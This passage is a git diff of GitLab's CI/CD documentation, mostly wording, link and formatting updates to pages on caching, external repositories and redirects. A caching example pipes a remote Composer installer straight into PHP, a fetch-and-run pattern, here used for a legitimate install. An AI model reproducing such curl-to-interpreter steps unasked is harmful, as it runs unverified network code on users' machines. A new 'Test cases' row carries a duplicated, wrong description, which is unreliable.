diff options
Diffstat (limited to 'doc/ci')
113 files changed, 1731 insertions, 1072 deletions
diff --git a/doc/ci/README.md b/doc/ci/README.md index 45cf56df894..20234052808 100644 --- a/doc/ci/README.md +++ b/doc/ci/README.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false description: "Learn how to use GitLab CI/CD, the GitLab built-in Continuous Integration, Continuous Deployment, and Continuous Delivery toolset to build, test, and deploy your application." type: index @@ -16,10 +16,10 @@ through the [continuous methodologies](introduction/index.md#introduction-to-cic - Continuous Delivery (CD) - Continuous Deployment (CD) -TIP: **Tip:** +NOTE: Out-of-the-box management systems can decrease hours spent on maintaining toolchains by 10% or more. Watch our ["Mastering continuous software development"](https://about.gitlab.com/webcast/mastering-ci-cd/) -webcast to learn about continuous methods and how GitLab’s built-in CI can help you simplify and scale software development. +webcast to learn about continuous methods and how the GitLab built-in CI can help you simplify and scale software development. ## Overview @@ -55,7 +55,7 @@ at the repository's root. This file creates a [pipeline](pipelines/index.md), wh To get started with GitLab CI/CD, we recommend you read through the following documents: -- [How GitLab CI/CD works](introduction/index.md#how-gitlab-cicd-works). +- [Get started with GitLab CI/CD](quick_start/README.md). - [Fundamental pipeline architectures](pipelines/pipeline_architectures.md). - [GitLab CI/CD basic workflow](introduction/index.md#basic-cicd-workflow). - [Step-by-step guide for writing `.gitlab-ci.yml` for the first time](../user/project/pages/getting_started/pages_from_scratch.md). @@ -73,7 +73,7 @@ to your needs:  -While building your `.gitlab-ci.yml`, you can use the [CI/CD configuration visualization](yaml/visualization.md) to facilate your writing experience. +While building your `.gitlab-ci.yml`, you can use the [CI/CD configuration visualization](yaml/visualization.md) to facilitate your writing experience. For a broader overview, see the [CI/CD getting started](quick_start/README.md) guide. @@ -96,6 +96,7 @@ GitLab CI/CD uses a number of concepts to describe and run your build and deploy | [Cache dependencies](caching/index.md) | Cache your dependencies for a faster execution. | | [GitLab Runner](https://docs.gitlab.com/runner/) | Configure your own runners to execute your scripts. | | [Pipeline efficiency](pipelines/pipeline_efficiency.md) | Configure your pipelines to run quickly and efficiently. | +| [Test cases](test_cases/index.md) | Configure your pipelines to run quickly and efficiently. | ## Configuration @@ -121,38 +122,38 @@ Note that certain operations can only be performed according to the Use the vast GitLab CI/CD to easily configure it for specific purposes. Its feature set is listed on the table below according to DevOps stages. -| Feature | Description | -|:--------|:------------| -| **Configure** || -| [Auto DevOps](../topics/autodevops/index.md) | Set up your app's entire lifecycle. | -| [ChatOps](chatops/README.md) | Trigger CI jobs from chat, with results sent back to the channel. | -|---+---| -| **Verify** || -| [Browser Performance Testing](../user/project/merge_requests/browser_performance_testing.md) | Quickly determine the browser performance impact of pending code changes. | -| [Load Performance Testing](../user/project/merge_requests/load_performance_testing.md) | Quickly determine the server performance impact of pending code changes. | -| [CI services](services/README.md) | Link Docker containers with your base image.| -| [Code Quality](../user/project/merge_requests/code_quality.md) | Analyze your source code quality. | -| [GitLab CI/CD for external repositories](ci_cd_for_external_repos/index.md) **(PREMIUM)** | Get the benefits of GitLab CI/CD combined with repositories in GitHub and Bitbucket Cloud. | -| [Interactive Web Terminals](interactive_web_terminal/index.md) **(CORE ONLY)** | Open an interactive web terminal to debug the running jobs. | -| [Unit test reports](unit_test_reports.md) | Identify script failures directly on merge requests. | -| [Using Docker images](docker/using_docker_images.md) | Use GitLab and GitLab Runner with Docker to build and test applications. | -|---+---| -| **Release** || -| [Auto Deploy](../topics/autodevops/stages.md#auto-deploy) | Deploy your application to a production environment in a Kubernetes cluster. | -| [Building Docker images](docker/using_docker_build.md) | Maintain Docker-based projects using GitLab CI/CD. | -| [Canary Deployments](../user/project/canary_deployments.md) **(PREMIUM)** | Ship features to only a portion of your pods and let a percentage of your user base to visit the temporarily deployed feature. | -| [Deploy Boards](../user/project/deploy_boards.md) **(PREMIUM)** | Check the current health and status of each CI/CD environment running on Kubernetes. | -| [Feature Flags](../operations/feature_flags.md) **(PREMIUM)** | Deploy your features behind Feature Flags. | -| [GitLab Pages](../user/project/pages/index.md) | Deploy static websites. | -| [GitLab Releases](../user/project/releases/index.md) | Add release notes to Git tags. | -| [Review Apps](review_apps/index.md) | Configure GitLab CI/CD to preview code changes. | -| [Cloud deployment](cloud_deployment/index.md) | Deploy your application to a main cloud provider. | -|---+---| -| **Secure** || -| [Container Scanning](../user/application_security/container_scanning/index.md) **(ULTIMATE)** | Check your Docker containers for known vulnerabilities.| -| [Dependency Scanning](../user/application_security/dependency_scanning/index.md) **(ULTIMATE)** | Analyze your dependencies for known vulnerabilities. | -| [License Compliance](../user/compliance/license_compliance/index.md) **(ULTIMATE)** | Search your project dependencies for their licenses. | -| [Security Test reports](../user/application_security/index.md) **(ULTIMATE)** | Check for app vulnerabilities. | +| Feature | Description | +|:------------------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------------------------------------------------| +| **Configure** | | +| [Auto DevOps](../topics/autodevops/index.md) | Set up your app's entire lifecycle. | +| [ChatOps](chatops/README.md) | Trigger CI jobs from chat, with results sent back to the channel. | +|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------| +| **Verify** | | +| [Browser Performance Testing](../user/project/merge_requests/browser_performance_testing.md) | Quickly determine the browser performance impact of pending code changes. | +| [Load Performance Testing](../user/project/merge_requests/load_performance_testing.md) | Quickly determine the server performance impact of pending code changes. | +| [CI services](services/README.md) | Link Docker containers with your base image. | +| [Code Quality](../user/project/merge_requests/code_quality.md) | Analyze your source code quality. | +| [GitLab CI/CD for external repositories](ci_cd_for_external_repos/index.md) **(PREMIUM)** | Get the benefits of GitLab CI/CD combined with repositories in GitHub and Bitbucket Cloud. | +| [Interactive Web Terminals](interactive_web_terminal/index.md) **(CORE ONLY)** | Open an interactive web terminal to debug the running jobs. | +| [Unit test reports](unit_test_reports.md) | Identify script failures directly on merge requests. | +| [Using Docker images](docker/using_docker_images.md) | Use GitLab and GitLab Runner with Docker to build and test applications. | +|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------| +| **Release** | | +| [Auto Deploy](../topics/autodevops/stages.md#auto-deploy) | Deploy your application to a production environment in a Kubernetes cluster. | +| [Building Docker images](docker/using_docker_build.md) | Maintain Docker-based projects using GitLab CI/CD. | +| [Canary Deployments](../user/project/canary_deployments.md) **(PREMIUM)** | Ship features to only a portion of your pods and let a percentage of your user base to visit the temporarily deployed feature. | +| [Deploy Boards](../user/project/deploy_boards.md) | Check the current health and status of each CI/CD environment running on Kubernetes. | +| [Feature Flags](../operations/feature_flags.md) **(PREMIUM)** | Deploy your features behind Feature Flags. | +| [GitLab Pages](../user/project/pages/index.md) | Deploy static websites. | +| [GitLab Releases](../user/project/releases/index.md) | Add release notes to Git tags. | +| [Review Apps](review_apps/index.md) | Configure GitLab CI/CD to preview code changes. | +| [Cloud deployment](cloud_deployment/index.md) | Deploy your application to a main cloud provider. | +|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------| +| **Secure** | | +| [Container Scanning](../user/application_security/container_scanning/index.md) **(ULTIMATE)** | Check your Docker containers for known vulnerabilities. | +| [Dependency Scanning](../user/application_security/dependency_scanning/index.md) **(ULTIMATE)** | Analyze your dependencies for known vulnerabilities. | +| [License Compliance](../user/compliance/license_compliance/index.md) **(ULTIMATE)** | Search your project dependencies for their licenses. | +| [Security Test reports](../user/application_security/index.md) **(ULTIMATE)** | Check for app vulnerabilities. | ## Examples diff --git a/doc/ci/autodeploy/index.md b/doc/ci/autodeploy/index.md index ca2df72e32e..8c7d9c1da64 100644 --- a/doc/ci/autodeploy/index.md +++ b/doc/ci/autodeploy/index.md @@ -3,3 +3,6 @@ redirect_to: '../../topics/autodevops/stages.md#auto-deploy' --- This document was moved to [another location](../../topics/autodevops/stages.md#auto-deploy). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/autodeploy/quick_start_guide.md b/doc/ci/autodeploy/quick_start_guide.md index ca2df72e32e..8c7d9c1da64 100644 --- a/doc/ci/autodeploy/quick_start_guide.md +++ b/doc/ci/autodeploy/quick_start_guide.md @@ -3,3 +3,6 @@ redirect_to: '../../topics/autodevops/stages.md#auto-deploy' --- This document was moved to [another location](../../topics/autodevops/stages.md#auto-deploy). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/build_artifacts/README.md b/doc/ci/build_artifacts/README.md index b63659c1878..4344a544798 100644 --- a/doc/ci/build_artifacts/README.md +++ b/doc/ci/build_artifacts/README.md @@ -3,3 +3,6 @@ redirect_to: '../../user/project/pipelines/job_artifacts.md' --- This document was moved to [pipelines/job_artifacts.md](../../user/project/pipelines/job_artifacts.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/caching/index.md b/doc/ci/caching/index.md index dfa92d469bc..e8b22a24017 100644 --- a/doc/ci/caching/index.md +++ b/doc/ci/caching/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: index, concepts, howto --- @@ -11,48 +11,49 @@ GitLab CI/CD provides a caching mechanism that can be used to save time when your jobs are running. Caching is about speeding the time a job is executed by reusing the same -content of a previous job. It can be particularly useful when you are +content of a previous job. Use caching when you are developing software that depends on other libraries which are fetched via the internet during build time. If caching is enabled, it's shared between pipelines and jobs at the project -level by default, starting from GitLab 9.0. Caches are not shared across -projects. +level by default. Caches are not shared across projects. Make sure you read the [`cache` reference](../yaml/README.md#cache) to learn how it is defined in `.gitlab-ci.yml`. ## Cache vs artifacts -Be careful if you use cache and artifacts to store the same path in your jobs -as **caches are restored before artifacts** and the content could be overwritten. +If you use cache and artifacts to store the same path in your jobs, the cache might +be overwritten because caches are restored before artifacts. Don't use caching for passing artifacts between stages, as it is designed to store runtime dependencies needed to compile the project: - `cache`: **For storing project dependencies** - Caches are used to speed up runs of a given job in **subsequent pipelines**, by - storing downloaded dependencies so that they don't have to be fetched from the - internet again (like npm packages, Go vendor packages, etc.) While the cache could - be configured to pass intermediate build results between stages, this should be - done with artifacts instead. + Caches can increase the speed of a given job in subsequent pipelines. You can + store downloaded dependencies so that they don't have to be fetched from the + internet again. Dependencies include things like npm packages, Go vendor packages, and so on. + You can configure a cache to pass intermediate build results between stages, + but you should use artifacts instead. -- `artifacts`: **Use for stage results that will be passed between stages.** +- `artifacts`: **Use for stage results that are passed between stages.** - Artifacts are files generated by a job which are stored and uploaded, and can then - be fetched and used by jobs in later stages of the **same pipeline**. In other words, - [you can't create an artifact in job-A in stage-1, and then use this artifact in job-B in stage-1](https://gitlab.com/gitlab-org/gitlab/-/issues/25837). - This data will not be available in different pipelines, but is available to be downloaded + Artifacts are files that are generated by a job so they can be stored and uploaded. You can + fetch and use artifacts in jobs in later stages of the same pipeline. You can't + create an artifact in a job in one stage, and use this artifact in a different job in + the same stage. This data is not available in different pipelines, but can be downloaded from the UI. -The name `artifacts` sounds like it's only useful outside of the job, like for downloading -a final image, but artifacts are also available in later stages within a pipeline. -So if you build your application by downloading all the required modules, you might -want to declare them as artifacts so that subsequent stages can use them. There are -some optimizations like declaring an [expiry time](../yaml/README.md#artifactsexpire_in) -so you don't keep artifacts around too long, or using [dependencies](../yaml/README.md#dependencies) -to control which jobs fetch the artifacts. + If you download modules while building your application, you can declare them as + artifacts and subsequent stage jobs can use them. + + You can define an [expiry time](../yaml/README.md#artifactsexpire_in) so artifacts + are deleted after a defined time. Use [dependencies](../yaml/README.md#dependencies) + to control which jobs fetch the artifacts. + + Artifacts can also be used to make files available for download after a pipeline + completes, like a build image. Caches: @@ -68,7 +69,7 @@ Artifacts: - Are disabled if not defined per job (using `artifacts:`). - Can only be enabled per job, not globally. -- Are created during a pipeline and can be used by the subsequent jobs of that currently active pipeline. +- Are created during a pipeline and can be used by subsequent jobs in the same pipeline. - Are always uploaded to GitLab (known as coordinator). - Can have an expiration value for controlling disk usage (30 days by default). @@ -77,28 +78,18 @@ can't link to files outside it. ## Good caching practices -We have the cache from the perspective of the developers (who consume a cache -within the job) and the cache from the perspective of the runner. Depending on -which type of runner you are using, cache can act differently. - -From the perspective of the developer, to ensure maximum availability of the -cache, when declaring `cache` in your jobs, use one or a mix of the following: +To ensure maximum availability of the cache, when you declare `cache` in your jobs, +use one or more of the following: - [Tag your runners](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) and use the tag on jobs that share their cache. - [Use sticky runners](../runners/README.md#prevent-a-specific-runner-from-being-enabled-for-other-projects) - that will be only available to a particular project. + that are only available to a particular project. - [Use a `key`](../yaml/README.md#cachekey) that fits your workflow (for example, different caches on each branch). For that, you can take advantage of the [CI/CD predefined variables](../variables/README.md#predefined-environment-variables). -TIP: **Tip:** -Using the same runner for your pipeline, is the most simple and efficient way to -cache files in one stage or pipeline, and pass this cache to subsequent stages -or pipelines in a guaranteed manner. - -From the perspective of the runner, in order for cache to work effectively, one -of the following must be true: +For runners to work with caches efficiently, you must do one of the following: - Use a single runner for all your jobs. - Use multiple runners (in autoscale mode or not) that use @@ -106,13 +97,12 @@ of the following must be true: where the cache is stored in S3 buckets (like shared runners on GitLab.com). - Use multiple runners (not in autoscale mode) of the same architecture that share a common network-mounted directory (using NFS or something similar) - where the cache will be stored. + where the cache is stored. -TIP: **Tip:** Read about the [availability of the cache](#availability-of-the-cache) to learn more about the internals and get a better idea how cache works. -### Sharing caches across the same branch +### Share caches across the same branch Define a cache with the `key: ${CI_COMMIT_REF_SLUG}` so that jobs of each branch always use the same cache: @@ -122,10 +112,9 @@ cache: key: ${CI_COMMIT_REF_SLUG} ``` -While this feels like it might be safe from accidentally overwriting the cache, -it means merge requests get slow first pipelines, which might be a bad -developer experience. The next time a new commit is pushed to the branch, the -cache will be re-used. +This configuration is safe from accidentally overwriting the cache, but merge requests +get slow first pipelines. The next time a new commit is pushed to the branch, the +cache is re-used and jobs run faster. To enable per-job and per-branch caching: @@ -134,33 +123,32 @@ cache: key: "$CI_JOB_NAME-$CI_COMMIT_REF_SLUG" ``` -To enable per-branch and per-stage caching: +To enable per-stage and per-branch caching: ```yaml cache: key: "$CI_JOB_STAGE-$CI_COMMIT_REF_SLUG" ``` -### Sharing caches across different branches +### Share caches across different branches -If the files you are caching need to be shared across all branches and all jobs, -you can use the same key for all of them: +To share a cache across all branches and all jobs, use the same key for everything: ```yaml cache: key: one-key-to-rule-them-all ``` -To share the same cache between branches, but separate them by job: +To share caches between branches, but have a unique cache for each job: ```yaml cache: key: ${CI_JOB_NAME} ``` -### Disabling cache on specific jobs +### Disable cache on specific jobs -If you have defined the cache globally, it means that each job will use the +If you have defined the cache globally, it means that each job uses the same definition. You can override this behavior per-job, and if you want to disable it completely, use an empty hash: @@ -169,7 +157,7 @@ job: cache: {} ``` -### Inherit global config, but override specific settings per job +### Inherit global configuration, but override specific settings per job You can override cache settings without overwriting the global cache by using [anchors](../yaml/README.md#anchors). For example, if you want to override the @@ -197,20 +185,19 @@ For more fine tuning, read also about the ## Common use cases -The most common use case of cache is to preserve contents between subsequent -runs of jobs for things like dependencies and commonly used libraries -(Node.js packages, PHP packages, rubygems, Python libraries, etc.), -so they don't have to be re-fetched from the public internet. +The most common use case of caching is to avoid downloading content like dependencies +or libraries repeatedly between subsequent runs of jobs. Node.js packages, +PHP packages, Ruby gems, Python libraries, and others can all be cached. For more examples, check out our [GitLab CI/CD templates](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates). -### Caching Node.js dependencies +### Cache Node.js dependencies -Assuming your project is using [npm](https://www.npmjs.com/) to install the Node.js +If your project is using [npm](https://www.npmjs.com/) to install the Node.js dependencies, the following example defines `cache` globally so that all jobs inherit it. -By default, npm stores cache data in the home folder `~/.npm` but since -[you can't cache things outside of the project directory](../yaml/README.md#cachepaths), -we tell npm to use `./.npm` instead, and it is cached per-branch: +By default, npm stores cache data in the home folder `~/.npm` but you +[can't cache things outside of the project directory](../yaml/README.md#cachepaths). +Instead, we tell npm to use `./.npm`, and cache it per-branch: ```yaml # @@ -253,7 +240,7 @@ cache: before_script: # Install and run Composer - - curl --show-error --silent https://getcomposer.org/installer | php + - curl --show-error --silent "https://getcomposer.org/installer" | php - php composer.phar install test: @@ -355,17 +342,18 @@ test: ## Availability of the cache -Caching is an optimization, but isn't guaranteed to always work, so you need to +Caching is an optimization, but it isn't guaranteed to always work. You need to be prepared to regenerate any cached files in each job that needs them. -Assuming you have properly [defined `cache` in `.gitlab-ci.yml`](../yaml/README.md#cache) -according to your workflow, the availability of the cache ultimately depends on -how the runner has been configured (the executor type and whether different -runners are used for passing the cache between jobs). +After you have defined a [cache in `.gitlab-ci.yml`](../yaml/README.md#cache), +the availability of the cache depends on: + +- The runner's executor type +- Whether different runners are used to pass the cache between jobs. ### Where the caches are stored -Since the runner is the one responsible for storing the cache, it's essential +The runner is responsible for storing the cache, so it's essential to know **where** it's stored. All the cache paths defined under a job in `.gitlab-ci.yml` are archived in a single `cache.zip` file and stored in the runner's configured cache location. By default, they are stored locally in the @@ -379,11 +367,7 @@ machine where the runner is installed and depends on the type of the executor. ### How archiving and extracting works -In the most simple scenario, consider that you use only one machine where the -runner is installed, and all jobs of your project run on the same host. - -Let's see the following example of two jobs that belong to two consecutive -stages: +This example has two jobs that belong to two consecutive stages: ```yaml stages: @@ -415,7 +399,8 @@ job B: - vendor/ ``` -Here's what happens behind the scenes: +If you have one machine with one runner installed, and all jobs for your project +run on the same host: 1. Pipeline starts. 1. `job A` runs. @@ -431,28 +416,27 @@ Here's what happens behind the scenes: 1. `script` is executed. 1. Pipeline finishes. -By using a single runner on a single machine, you'll not have the issue where -`job B` might execute on a runner different from `job A`, thus guaranteeing the -cache between stages. That will only work if the build goes from stage `build` -to `test` in the same runner/machine, otherwise, you [might not have the cache -available](#cache-mismatch). +By using a single runner on a single machine, you don't have the issue where +`job B` might execute on a runner different from `job A`. This setup guarantees the +cache can be reused between stages. It only works if the execution goes from the `build` stage +to the `test` stage in the same runner/machine. Otherwise, the cache [might not be available](#cache-mismatch). During the caching process, there's also a couple of things to consider: - If some other job, with another cache configuration had saved its cache in the same zip file, it is overwritten. If the S3 based shared cache is used, the file is additionally uploaded to S3 to an object based on the cache - key. So, two jobs with different paths, but the same cache key, will overwrite + key. So, two jobs with different paths, but the same cache key, overwrites their cache. - When extracting the cache from `cache.zip`, everything in the zip file is extracted in the job's working directory (usually the repository which is pulled down), and the runner doesn't mind if the archive of `job A` overwrites things in the archive of `job B`. -The reason why it works this way is because the cache created for one runner -often will not be valid when used by a different one which can run on a -**different architecture** (e.g., when the cache includes binary files). And -since the different steps might be executed by runners running on different +It works this way because the cache created for one runner +often isn't valid when used by a different one. A different runner may run on a +different architecture (for example, when the cache includes binary files). Also, +because the different steps might be executed by runners running on different machines, it is a safe default. ### Cache mismatch @@ -464,7 +448,7 @@ mismatch and a few ideas how to fix it. | -------------------------- | ------------- | | You use multiple standalone runners (not in autoscale mode) attached to one project without a shared cache | Use only one runner for your project or use multiple runners with distributed cache enabled | | You use runners in autoscale mode without a distributed cache enabled | Configure the autoscale runner to use a distributed cache | -| The machine the runner is installed on is low on disk space or, if you've set up distributed cache, the S3 bucket where the cache is stored doesn't have enough space | Make sure you clear some space to allow new caches to be stored. Currently, there's no automatic way to do this. | +| The machine the runner is installed on is low on disk space or, if you've set up distributed cache, the S3 bucket where the cache is stored doesn't have enough space | Make sure you clear some space to allow new caches to be stored. There's no automatic way to do this. | | You use the same `key` for jobs where they cache different paths. | Use different cache keys to that the cache archive is stored to a different location and doesn't overwrite wrong caches. | Let's explore some examples. @@ -472,12 +456,10 @@ Let's explore some examples. #### Examples Let's assume you have only one runner assigned to your project, so the cache -will be stored in the runner's machine by default. If two jobs, A and B, -have the same cache key, but they cache different paths, cache B would overwrite -cache A, even if their `paths` don't match: +is stored in the runner's machine by default. -We want `job A` and `job B` to re-use their -cache when the pipeline is run for a second time. +Two jobs could cause caches to be overwritten if they have the same cache key, but +they cache a different path: ```yaml stages: @@ -506,15 +488,15 @@ job B: 1. `job B` runs. 1. The previous cache, if any, is unzipped. 1. `vendor/` is cached as cache.zip and overwrites the previous one. -1. The next time `job A` runs it will use the cache of `job B` which is different - and thus will be ineffective. +1. The next time `job A` runs it uses the cache of `job B` which is different + and thus isn't effective. To fix that, use different `keys` for each job. In another case, let's assume you have more than one runner assigned to your project, but the distributed cache is not enabled. The second time the pipeline is run, we want `job A` and `job B` to re-use their cache (which in this case -will be different): +is different): ```yaml stages: @@ -538,9 +520,8 @@ job B: - vendor/ ``` -In that case, even if the `key` is different (no fear of overwriting), you -might experience that the cached files "get cleaned" before each stage if the -jobs run on different runners in the subsequent pipelines. +Even if the `key` is different, the cached files might get "cleaned" before each +stage if the jobs run on different runners in the subsequent pipelines. ## Clearing the cache @@ -553,26 +534,21 @@ To start with a fresh copy of the cache, there are two ways to do that. ### Clearing the cache by changing `cache:key` All you have to do is set a new `cache: key` in your `.gitlab-ci.yml`. In the -next run of the pipeline, the cache will be stored in a different location. +next run of the pipeline, the cache is stored in a different location. ### Clearing the cache manually > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41249) in GitLab 10.4. -If you want to avoid editing `.gitlab-ci.yml`, you can easily clear the cache -via GitLab's UI: +If you want to avoid editing `.gitlab-ci.yml`, you can clear the cache +via the GitLab UI: 1. Navigate to your project's **CI/CD > Pipelines** page. 1. Click on the **Clear runner caches** button to clean up the cache.  -1. On the next push, your CI/CD job will use a new cache. - -Behind the scenes, this works by increasing a counter in the database, and the -value of that counter is used to create the key for the cache by appending an -integer to it: `-1`, `-2`, etc. After a push, a new key is generated and the -old cache is not valid anymore. +1. On the next push, your CI/CD job uses a new cache. <!-- ## Troubleshooting diff --git a/doc/ci/chatops/README.md b/doc/ci/chatops/README.md index ec0c41032ca..5d6af0b78db 100644 --- a/doc/ci/chatops/README.md +++ b/doc/ci/chatops/README.md @@ -1,7 +1,7 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: index, concepts, howto --- diff --git a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md index f8e2a2b7eb0..a466214374b 100644 --- a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md +++ b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -14,17 +14,17 @@ GitLab CI/CD can be used with Bitbucket Cloud by: To use GitLab CI/CD with a Bitbucket Cloud repository: -1. In GitLab create a **CI/CD for external repo**, select **Repo by URL** and +1. In GitLab create a **CI/CD for external repository**, select **Repo by URL** and create the project.  - GitLab will import the repository and enable [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository). + GitLab imports the repository and enables [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository). 1. In GitLab create a [Personal Access Token](../../user/profile/personal_access_tokens.md) - with `api` scope. This will be used to authenticate requests from the web - hook that will be created in Bitbucket to notify GitLab of new commits. + with `api` scope. This is used to authenticate requests from the web + hook that is created in Bitbucket to notify GitLab of new commits. 1. In Bitbucket, from **Settings > Webhooks**, create a new web hook to notify GitLab of new commits. @@ -62,8 +62,9 @@ To use GitLab CI/CD with a Bitbucket Cloud repository: 1. In Bitbucket, add a script to push the pipeline status to Bitbucket. - > Note: changes made in GitLab will be overwritten by any changes made - > upstream in Bitbucket. + NOTE: + Changes made in GitLab are overwritten by any changes made + upstream in Bitbucket. Create a file `build_status` and insert the script below and run `chmod +x build_status` in your terminal to make the script executable. @@ -110,7 +111,7 @@ To use GitLab CI/CD with a Bitbucket Cloud repository: esac echo "Pushing status to $BITBUCKET_STATUS_API..." - curl --request POST $BITBUCKET_STATUS_API \ + curl --request POST "$BITBUCKET_STATUS_API" \ --user $BITBUCKET_USERNAME:$BITBUCKET_ACCESS_TOKEN \ --header "Content-Type:application/json" \ --silent \ diff --git a/doc/ci/ci_cd_for_external_repos/github_integration.md b/doc/ci/ci_cd_for_external_repos/github_integration.md index b6f885ff220..8e3d609b5dc 100644 --- a/doc/ci/ci_cd_for_external_repos/github_integration.md +++ b/doc/ci/ci_cd_for_external_repos/github_integration.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -14,7 +14,7 @@ GitLab. <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Watch a video on [Using GitLab CI/CD pipelines with GitHub repositories](https://www.youtube.com/watch?v=qgl3F2j-1cI). -NOTE: **Note:** +NOTE: Because of [GitHub limitations](https://gitlab.com/gitlab-org/gitlab/-/issues/9147), [GitHub OAuth](../../integration/github.md#enabling-github-oauth) cannot be used to authenticate with GitHub as an external CI/CD repository. @@ -28,14 +28,14 @@ To perform a one-off authorization with GitHub to grant GitLab access your repositories: 1. Open <https://github.com/settings/tokens/new> to create a **Personal Access - Token**. This token will be used to access your repository and push commit + Token**. This token is used to access your repository and push commit statuses to GitHub. The `repo` and `admin:repo_hook` should be enable to allow GitLab access to your project, update commit statuses, and create a web hook to notify GitLab of new commits. -1. In GitLab, go to the [new project page](../../gitlab-basics/create-project.md#create-a-project-in-gitlab), select the **CI/CD for external repo** tab, and then click +1. In GitLab, go to the [new project page](../../gitlab-basics/create-project.md#create-a-project-in-gitlab), select the **CI/CD for external repository** tab, and then click **GitHub**. 1. Paste the token into the **Personal access token** field and click **List @@ -43,12 +43,12 @@ repositories: 1. In GitHub, add a `.gitlab-ci.yml` to [configure GitLab CI/CD](../quick_start/README.md). -GitLab will: +GitLab: -1. Import the project. -1. Enable [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository) -1. Enable [GitHub project integration](../../user/project/integrations/github.md) -1. Create a web hook on GitHub to notify GitLab of new commits. +1. Imports the project. +1. Enables [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository) +1. Enables [GitHub project integration](../../user/project/integrations/github.md) +1. Creates a web hook on GitHub to notify GitLab of new commits. ## Connect manually @@ -57,7 +57,7 @@ To use **GitHub Enterprise** with **GitLab.com**, use this method. To manually enable GitLab CI/CD for your repository: 1. In GitHub open <https://github.com/settings/tokens/new> create a **Personal - Access Token.** GitLab will use this token to access your repository and + Access Token.** GitLab uses this token to access your repository and push commit statuses. Enter a **Token description** and update the scope to allow: @@ -68,7 +68,7 @@ To manually enable GitLab CI/CD for your repository: URL for your GitHub repository. If your project is private, use the personal access token you just created for authentication. - GitLab will automatically configure polling-based pull mirroring. + GitLab automatically configures polling-based pull mirroring. 1. Still in GitLab, enable the [GitHub project integration](../../user/project/integrations/github.md) from **Settings > Integrations.** diff --git a/doc/ci/ci_cd_for_external_repos/index.md b/doc/ci/ci_cd_for_external_repos/index.md index ae6cb759d23..44534ddf793 100644 --- a/doc/ci/ci_cd_for_external_repos/index.md +++ b/doc/ci/ci_cd_for_external_repos/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: index, howto --- @@ -18,7 +18,7 @@ GitLab CI/CD can be used with: Instead of moving your entire project to GitLab, you can connect your external repository to get the benefits of GitLab CI/CD. -Connecting an external repository will set up [repository mirroring](../../user/project/repository/repository_mirroring.md) +Connecting an external repository sets up [repository mirroring](../../user/project/repository/repository_mirroring.md) and create a lightweight project with issues, merge requests, wiki, and snippets disabled. These features [can be re-enabled later](../../user/project/settings/index.md#sharing-and-permissions). @@ -26,7 +26,7 @@ snippets disabled. These features To connect to an external repository: 1. From your GitLab dashboard, click **New project**. -1. Switch to the **CI/CD for external repo** tab. +1. Switch to the **CI/CD for external repository** tab. 1. Choose **GitHub** or **Repo by URL**. 1. The next steps are similar to the [import flow](../../user/project/import/index.md). @@ -74,7 +74,7 @@ If changes are pushed to the branch referenced by the Pull Request and the Pull Request is still open, a pipeline for the external pull request is created. -GitLab CI/CD will create 2 pipelines in this case. One for the +GitLab CI/CD creates 2 pipelines in this case. One for the branch push and one for the external pull request. After the Pull Request is closed, no pipelines are created for the external pull @@ -89,10 +89,10 @@ The 